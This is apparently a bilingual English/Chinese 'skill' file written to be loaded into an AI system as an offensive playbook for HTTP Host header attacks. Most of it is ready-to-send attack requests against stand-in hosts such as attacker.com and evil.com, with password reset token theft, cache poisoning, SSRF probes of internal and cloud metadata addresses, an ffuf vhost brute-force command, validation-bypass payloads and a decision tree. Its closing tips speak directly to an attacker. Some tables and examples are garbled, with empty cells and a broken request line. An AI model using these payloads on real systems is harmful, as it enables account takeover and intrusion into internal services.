http-host-header-attacks
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseSKILL: HTTP Host Header Attacks — Injection & Routing Abuse
SKILL: HTTP Host Header Attacks — 注入与路由滥用
AI LOAD INSTRUCTION: Covers Host header injection for password reset poisoning, cache poisoning, SSRF via routing, and virtual host bypass. Includes bypass techniques for Host validation and framework-specific behaviors. Base models often miss the double-Host trick, absolute-URI override, and connection-state attacks.
AI加载说明:涵盖用于密码重置投毒、缓存投毒、路由型SSRF和虚拟主机绕过的Host头注入技术,包含Host验证绕过技巧以及特定框架的行为特性。基础模型通常会遗漏双Host头技巧、绝对URI覆盖和连接状态攻击。
0. RELATED ROUTING
0. 相关路由
- web-cache-deception when Host injection is combined with cache behavior
- ssrf-server-side-request-forgery when Host header routes requests to internal services
- open-redirect when Host injection causes redirect to attacker domain
- waf-bypass-techniques when Host manipulation helps bypass WAF routing
- request-smuggling when smuggling enables Host header manipulation past front-end validation
- subdomain-takeover when Host routing exposes internal vhosts resolvable via subdomain
- web-cache-deception 当Host注入与缓存行为结合时参考
- ssrf-server-side-request-forgery 当Host头将请求路由到内部服务时参考
- open-redirect 当Host注入导致跳转到攻击者域名时参考
- waf-bypass-techniques 当Host操纵有助于绕过WAF路由时参考
- request-smuggling 当请求走私可绕过前端验证实现Host头操纵时参考
- subdomain-takeover 当Host路由暴露可通过子域名解析的内部虚拟主机时参考
1. ATTACK SURFACE
1. 攻击面
The Host header is used by web applications and infrastructure for:
| Usage | Exploitation |
|---|---|
| URL generation (password reset links, email links) | Inject attacker domain → user clicks link to attacker |
| Virtual host routing | Spoof Host → access internal/admin vhost |
| Cache key component | Inject different Host → poison cache for all users |
| Reverse proxy routing | Host determines backend → SSRF to internal services |
| Access control decisions | Host-based ACLs can be bypassed |
| Canonical URL / SEO redirects | Host injection → open redirect |
Web应用和基础设施对Host头的常见用途及对应利用方式:
| 用途 | 利用方式 |
|---|---|
| URL生成(密码重置链接、邮件链接) | 注入攻击者域名 → 用户点击链接跳转到攻击者站点 |
| 虚拟主机路由 | 伪造Host头 → 访问内部/管理端虚拟主机 |
| 缓存键组成部分 | 注入不同的Host头 → 为所有用户投毒缓存 |
| 反向代理路由 | Host决定后端服务 → 发起SSRF访问内部服务 |
| 访问控制决策 | 可绕过基于Host的访问控制列表 |
| 规范URL / SEO跳转 | Host注入 → 开放跳转漏洞 |
2. PASSWORD RESET POISONING
2. 密码重置投毒
The most common and impactful Host header attack.
最常见、影响最大的Host头攻击类型。
How It Works
攻击原理
1. Attacker requests password reset for victim@target.com
2. Attacker modifies Host header in the reset request:
POST /forgot-password HTTP/1.1
Host: attacker.com ← injected
email=victim@target.com
3. Server generates reset link using Host header value:
"Click here to reset: https://attacker.com/reset?token=SECRET_TOKEN"
4. Victim receives email, clicks link → token sent to attacker
5. Attacker uses token on real target.com to reset password1. 攻击者请求为victim@target.com重置密码
2. 攻击者修改重置请求中的Host头:
POST /forgot-password HTTP/1.1
Host: attacker.com ← 注入的恶意Host
email=victim@target.com
3. 服务器使用Host头的值生成重置链接:
"点击重置密码:https://attacker.com/reset?token=SECRET_TOKEN"
4. 受害者收到邮件后点击链接 → 令牌被发送到攻击者服务器
5. 攻击者使用令牌在真实的target.com站点重置密码Testing
测试方法
http
POST /forgot-password HTTP/1.1
Host: attacker-collaborator.burpcollaborator.net
Content-Type: application/x-www-form-urlencoded
email=victim@target.comCheck Burp Collaborator for incoming HTTP request with the reset token.
http
POST /forgot-password HTTP/1.1
Host: attacker-collaborator.burpcollaborator.net
Content-Type: application/x-www-form-urlencoded
email=victim@target.com检查Burp Collaborator是否收到携带重置令牌的HTTP请求。
Variants
变种
- Some apps concatenate: → link becomes
Host: target.com.attacker.comhttps://target.com.attacker.com/reset?token=xxx - Some apps use only the port portion: → parsed as
Host: target.com:@attacker.comin some URL parsersattacker.com
- 部分应用会拼接Host:→ 生成的链接变为
Host: target.com.attacker.comhttps://target.com.attacker.com/reset?token=xxx - 部分应用仅解析端口部分:→ 部分URL解析器会将其识别为
Host: target.com:@attacker.comattacker.com
3. WEB CACHE POISONING VIA HOST
3. 通过Host头实现的Web缓存投毒
1. Attacker sends:
GET / HTTP/1.1
Host: attacker.com
2. If cache keys on URL path but NOT on Host header:
→ Response cached with attacker.com in generated links/content
3. Subsequent users requesting GET / receive the poisoned response
→ Links point to attacker.com, scripts load from attacker.comKey requirement: Cache must not include Host header in cache key, but application must use Host in response body.
Test by sending two requests with different Host values and checking if the second request returns the first's Host in the response.
1. 攻击者发送请求:
GET / HTTP/1.1
Host: attacker.com
2. 如果缓存键仅基于URL路径、不包含Host头:
→ 响应中生成的链接/内容携带attacker.com被缓存
3. 后续请求GET /的用户都会收到被投毒的响应
→ 链接指向attacker.com,脚本从attacker.com加载核心前提:缓存的缓存键不能包含Host头,但应用必须在响应体中使用Host头的值。
测试方法:发送两个携带不同Host值的请求,检查第二个请求的响应中是否返回第一个请求的Host值。
4. SSRF VIA HOST ROUTING
4. 通过Host路由实现的SSRF
When a reverse proxy uses Host header to route to backends:
GET /api/internal HTTP/1.1
Host: internal-admin-panel.local
→ Reverse proxy routes request to internal-admin-panel.local
→ Attacker accesses internal serviceCommon in:
- Nginx based on
proxy_pass$host - Apache with virtual host routing
ProxyPass - Kubernetes Ingress controllers
- Cloud load balancers
当反向代理使用Host头路由到后端服务时:
GET /api/internal HTTP/1.1
Host: internal-admin-panel.local
→ 反向代理将请求路由到internal-admin-panel.local
→ 攻击者成功访问内部服务常见场景:
- 基于配置Nginx
$hostproxy_pass - 配置了虚拟主机路由的Apache
ProxyPass - Kubernetes Ingress控制器
- 云负载均衡器
5. VIRTUAL HOST BYPASS
5. 虚拟主机绕过
Many servers host multiple applications on the same IP via virtual hosting:
Target: Host: www.target.com → public site
Hidden: Host: admin.target.com → admin panel (not in public DNS)
Hidden: Host: staging.target.com → staging environment
Hidden: Host: localhost → server status page很多服务器通过虚拟主机技术在同一IP上托管多个应用:
公开服务:Host: www.target.com → 公开站点
隐藏服务:Host: admin.target.com → 管理面板(未公开在公网DNS)
隐藏服务:Host: staging.target.com → 测试环境
隐藏服务:Host: localhost → 服务器状态页Discovery
发现方法
1. Brute-force Host header with common vhost names:
ffuf -u http://TARGET_IP -H "Host: FUZZ.target.com" -w vhosts.txt
2. Try special values:
Host: localhost
Host: 127.0.0.1
Host: admin
Host: internal
Host: intranet
3. Compare response size/content to identify different vhosts1. 使用常见虚拟主机名字典爆破Host头:
ffuf -u http://TARGET_IP -H "Host: FUZZ.target.com" -w vhosts.txt
2. 尝试特殊值:
Host: localhost
Host: 127.0.0.1
Host: admin
Host: internal
Host: intranet
3. 对比响应大小/内容来识别不同的虚拟主机6. BYPASS TECHNIQUES WHEN HOST IS VALIDATED
6. Host被验证时的绕过技巧
6.1 Override Headers
6.1 覆盖头
Many frameworks/proxies trust these headers over the Host header:
| Header | Frameworks That Trust It |
|---|---|
| Symfony, Laravel, Django (when |
| Some custom proxy configurations |
| IIS with URL Rewrite module |
| IIS with URL Rewrite module |
| RFC 7239 compliant proxies |
| Apache mod_proxy |
Test all simultaneously:
http
GET /forgot-password HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com
X-Host: attacker.com
X-Original-URL: /forgot-password
Forwarded: host=attacker.com很多框架/代理会优先信任以下头而不是Host头:
| 头名称 | 信任该头的框架 |
|---|---|
| Symfony、Laravel、Django(当 |
| 部分自定义代理配置 |
| 安装了URL重写模块的IIS |
| 安装了URL重写模块的IIS |
| 符合RFC 7239标准的代理 |
| Apache mod_proxy |
同时测试所有头:
http
GET /forgot-password HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com
X-Host: attacker.com
X-Original-URL: /forgot-password
Forwarded: host=attacker.com6.2 Absolute URL in Request Line
6.2 请求行中的绝对URL
http
GET http:/path HTTP/1.1
Host: target.comPer HTTP/1.1 spec (RFC 7230): if the request line contains an absolute URI, the Host header SHOULD be ignored. Some servers follow this, some don't — the mismatch between proxy and backend creates the vulnerability.
http
GET http:/path HTTP/1.1
Host: target.com根据HTTP/1.1规范(RFC 7230):如果请求行包含绝对URI,应该忽略Host头。部分服务器遵守该规范,部分不遵守——代理和后端的行为差异会产生漏洞。
6.3 Double Host Header
6.3 双Host头
http
GET /path HTTP/1.1
Host: target.com
Host: attacker.comBehavior varies:
- Some proxies validate first Host, app uses second
- Some servers concatenate:
target.com, attacker.com - RFC says: if both differ, return 400. Most servers don't.
http
GET /path HTTP/1.1
Host: target.com
Host: attacker.com不同服务的行为差异:
- 部分代理验证第一个Host,应用使用第二个Host
- 部分服务器拼接两个Host:
target.com, attacker.com - RFC规定:如果两个Host不一致,应该返回400。绝大多数服务器没有遵守该规定。
6.4 Host with Port / Credentials
6.4 带端口/凭证的Host
http
Host: target.com:@attacker.com
Host: target.com:evil.com
Host: target.com#@attacker.com
Host: attacker.com%23@target.comURL parsers may extract the "host" portion differently when credentials () or fragments () are present.
@#http
Host: target.com:@attacker.com
Host: target.com:evil.com
Host: target.com#@attacker.com
Host: attacker.com%23@target.com当存在凭证()或片段()时,不同URL解析器提取的“host”部分可能不同。
@#6.5 Trailing Dot
6.5 末尾点
http
Host: target.com.DNS treats and identically (trailing dot = FQDN). But Host validation may not strip the trailing dot → in string comparison → bypass whitelist.
target.com.target.comtarget.com. ≠ target.comhttp
Host: target.com.DNS认为和是完全相同的(末尾点代表完全限定域名),但Host验证可能不会去掉末尾点 → 字符串对比时 → 绕过白名单。
target.com.target.comtarget.com. ≠ target.com6.6 Tab / Space Injection
6.6 制表符/空格注入
http
Host: target.com\tattacker.com
Host: target.com attacker.comSome parsers split on whitespace; the server may use portion while validation checks portion.
attacker.comtarget.comhttp
Host: target.com\tattacker.com
Host: target.com attacker.com部分解析器会按空白符分割,验证器检查部分,而服务器可能使用部分。
target.comattacker.com6.7 Wrap-Around / Enclosed Values
6.7 环绕/封闭值
http
Host: "attacker.com"
Host: <attacker.com>Quoted or bracketed values may be stripped by the app but not by the validator.
http
Host: "attacker.com"
Host: <attacker.com>带引号或括号的值可能会被应用去掉,但验证器不会去掉,从而实现绕过。
7. FRAMEWORK-SPECIFIC BEHAVIOR
7. 特定框架的行为
| Framework | Host Source | Gotcha |
|---|---|---|
| PHP | | |
| Django | | |
| Rails | | Rails 6+ |
| Node/Express | | No built-in host validation |
| 框架 | Host来源 | 注意事项 |
|---|---|---|
| PHP | | 仅当配置 |
| Django | | |
| Rails | | Rails 6+的 |
| Node/Express | | 没有内置的Host验证机制 |
8. CONNECTION-STATE ATTACKS
8. 连接状态攻击
A sophisticated variant exploiting HTTP keep-alive:
Connection 1:
Request 1: GET / HTTP/1.1 ← Valid Host: target.com
Host: target.com → Proxy validates, forwards, keeps connection open
Request 2: GET /admin HTTP/1.1 ← Evil Host on SAME connection
Host: evil.com → Some proxies skip validation on subsequent requests
(they validated the connection on first request)This works against proxies that perform Host validation only on the first request of a keep-alive connection.
利用HTTP长连接的复杂变种攻击:
连接1:
请求1:GET / HTTP/1.1 ← 合法Host: target.com
Host: target.com → 代理验证通过,转发请求,保持连接开启
请求2:GET /admin HTTP/1.1 ← 同一连接下的恶意Host
Host: evil.com → 部分代理不会对后续请求做验证
(它们认为首次请求已经验证过连接合法性)这种攻击对仅在长连接的首个请求做Host验证的代理有效。
Testing
测试方法
1. Use Burp Repeater with "Connection: keep-alive"
2. Send normal request first
3. On same connection, send request with manipulated Host
4. Check if second request is processed differently1. 使用Burp Repeater,设置"Connection: keep-alive"
2. 先发送正常请求
3. 在同一连接下发送Host被篡改的请求
4. 检查第二个请求的处理结果是否异常9. HOST HEADER ATTACK DECISION TREE
9. Host头攻击决策树
Application uses Host header in responses/behavior?
│
├── Test direct Host injection
│ ├── Change Host to attacker domain → reflected in response?
│ │ ├── YES → Check impact:
│ │ │ ├── In password reset emails? → PASSWORD RESET POISONING
│ │ │ ├── In cached responses? → WEB CACHE POISONING
│ │ │ ├── In redirects? → OPEN REDIRECT
│ │ │ └── In script/link URLs? → XSS VIA HOST
│ │ └── NO (400/403/different response) → Host is validated
│ │
│ └── Host validated? Try bypasses:
│ ├── X-Forwarded-Host header
│ ├── X-Host / X-Original-URL / Forwarded header
│ ├── Absolute URL in request line
│ ├── Double Host header
│ ├── Host: target.com:@attacker.com (URL parser confusion)
│ ├── Host: target.com. (trailing dot)
│ ├── Tab/space injection in Host value
│ └── Connection-state attack (valid first request, evil second)
│
├── Test virtual host enumeration
│ ├── Brute-force Host values against target IP
│ ├── Try: localhost, admin, staging, internal, intranet
│ └── Compare response sizes for different Host values
│
├── Test SSRF via Host routing
│ ├── Host: 127.0.0.1 → internal service?
│ ├── Host: internal-hostname.local → internal routing?
│ └── Host: 169.254.169.254 → cloud metadata?
│
└── No Host-based behavior found
└── Check if app uses Host in server-side operations
(email generation, webhook URLs, API callbacks)应用是否在响应/业务逻辑中使用Host头?
│
├── 测试直接Host注入
│ ├── 将Host改为攻击者域名 → 是否在响应中回显?
│ │ ├── 是 → 检查影响:
│ │ │ ├── 是否出现在密码重置邮件中? → 密码重置投毒
│ │ │ ├── 是否出现在缓存响应中? → Web缓存投毒
│ │ │ ├── 是否出现在跳转中? → 开放跳转
│ │ │ └── 是否出现在脚本/链接URL中? → 通过Host头实现XSS
│ │ └── 否(返回400/403/响应不同) → Host被验证
│ │
│ └── Host被验证?尝试绕过:
│ ├── X-Forwarded-Host头
│ ├── X-Host / X-Original-URL / Forwarded头
│ ├── 请求行中的绝对URL
│ ├── 双Host头
│ ├── Host: target.com:@attacker.com(URL解析器混淆)
│ ├── Host: target.com.(末尾点)
│ ├── Host值中注入制表符/空格
│ └── 连接状态攻击(先发送合法请求,再发送恶意请求)
│
├── 测试虚拟主机枚举
│ ├── 针对目标IP爆破Host值
│ ├── 尝试:localhost、admin、staging、internal、intranet
│ └── 对比不同Host值的响应大小
│
├── 测试Host路由型SSRF
│ ├── Host: 127.0.0.1 → 是否访问到内部服务?
│ ├── Host: internal-hostname.local → 是否能内部路由?
│ └── Host: 169.254.169.254 → 是否访问到云元数据服务?
│
└── 未发现基于Host的行为
└── 检查应用是否在服务端操作中使用Host
(邮件生成、Webhook URL、API回调)10. TRICK NOTES — WHAT AI MODELS MISS
10. 技巧说明——AI模型常遗漏的点
- Password reset poisoning doesn't require the victim to be logged in — you request the reset, the victim just clicks the link. The token lands on your server.
- X-Forwarded-Host is the #1 missed bypass: Most Host validation checks header but frameworks silently prefer
Hostwhen behind a proxy.X-Forwarded-Host - Double Host header is protocol-valid but behavior-undefined: RFC says reject with 400, but almost no server actually does this. The mismatch between proxy and app is the vulnerability.
- Absolute URI overrides Host per RFC: — the spec says use the request-line URI. But not all implementations agree.
GET http://evil.com/path HTTP/1.1\nHost: target.com - Cache poisoning via Host requires the cache to exclude Host from the key: Most CDNs include Host in the cache key. But custom Varnish/Nginx caches may not. Also test with as cache key differentiator.
X-Forwarded-Host - Connection-state attacks are rarely tested: Automated scanners don't test keep-alive behavior. Manual testing via Burp Repeater's connection reuse is essential.
- DNS rebinding + Host attacks: If you control DNS, point your domain to the target's IP → your domain resolves to their server → Host header says your domain, but request hits their server. Useful for bypassing IP-based access controls.
- 密码重置投毒不需要受害者登录——你发起重置请求,受害者只需要点击链接,令牌就会发送到你的服务器。
- X-Forwarded-Host是最常被遗漏的绕过方式:绝大多数Host验证只会检查头,但框架在代理后会默认优先使用
Host。X-Forwarded-Host - 双Host头符合协议规范但行为未定义:RFC规定要返回400,但几乎没有服务器实际执行该规则,代理和应用的行为差异就是漏洞来源。
- 绝对URI按RFC规定会覆盖Host:——规范要求使用请求行的URI,但不是所有实现都遵守该规则。
GET http://evil.com/path HTTP/1.1\nHost: target.com - Host型缓存投毒要求缓存键不包含Host:绝大多数CDN的缓存键会包含Host,但自定义的Varnish/Nginx缓存可能不会。也可以测试是否会影响缓存键。
X-Forwarded-Host - 连接状态攻击很少被测试:自动化扫描器不会测试长连接行为,必须通过Burp Repeater的连接复用功能手动测试。
- DNS重绑定+Host攻击:如果你控制DNS,将你的域名指向目标IP → 你的域名解析到目标服务器 → Host头设置为你的域名,但请求会到达目标服务器,可用于绕过基于IP的访问控制。